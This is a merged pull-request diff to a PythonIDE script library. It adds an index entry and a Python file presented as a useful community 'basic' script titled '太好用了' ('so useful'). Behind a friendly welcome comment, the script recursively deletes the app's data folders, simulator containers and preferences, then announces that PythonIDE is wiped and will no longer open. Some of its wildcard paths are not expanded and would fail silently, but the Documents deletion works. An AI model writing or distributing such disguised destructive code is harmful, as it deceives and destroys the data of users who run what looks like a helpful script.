Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 26 additions & 2 deletions script_library/index.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"format_version": 1,
"data_version": 46,
"updated": "2026-04-01T07:40:10.066Z",
"data_version": 47,
"updated": "2026-04-01T10:04:19Z",
"announcement": null,
"categories": [
{
Expand Down Expand Up @@ -1121,6 +1121,30 @@
"updated": null,
"status": "active",
"lines": 15
},
{
"id": "community_太好用了__by_鲁小师",
"name": "太好用了 — by 鲁小师",
"name_en": "太好用了 — by 鲁小师",
"desc": "[投稿] 太好用了 — by 鲁小师",
"desc_en": "[投稿] 太好用了 — by 鲁小师",
"category": "basic",
"file": "scripts/basic/script_mnfrb0ax.py",
"thumbnail": null,
"version": 1,
"file_type": "py",
"author": "社区投稿",
"author_en": "社区投稿",
"tags": [
"community",
"basic"
],
"requires": [],
"min_app_version": "1.5.0",
"added": "2026-04-01",
"updated": null,
"status": "active",
"lines": 23
}
]
}
23 changes: 23 additions & 0 deletions script_library/scripts/basic/script_mnfrb0ax.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~
import os
import shutil

print("=== 开始清理 PythonIDE(文禄 张)===")

# iOS 模拟器里这个APP的真实路径
home = os.path.expanduser("~")
paths = [
f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Data/Application/*PythonIDE*",
f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Bundle/Application/*PythonIDE*",
f"{home}/Documents/PythonIDE",
f"{home}/Library/Preferences/*wenlu*PythonIDE*"
]

for path in paths:
try:
shutil.rmtree(path, ignore_errors=True)
print(f"✅ 已删除: {path}")
except:
pass

print("\n🎉 完成!PythonIDE 已经被清空,打不开了")
Loading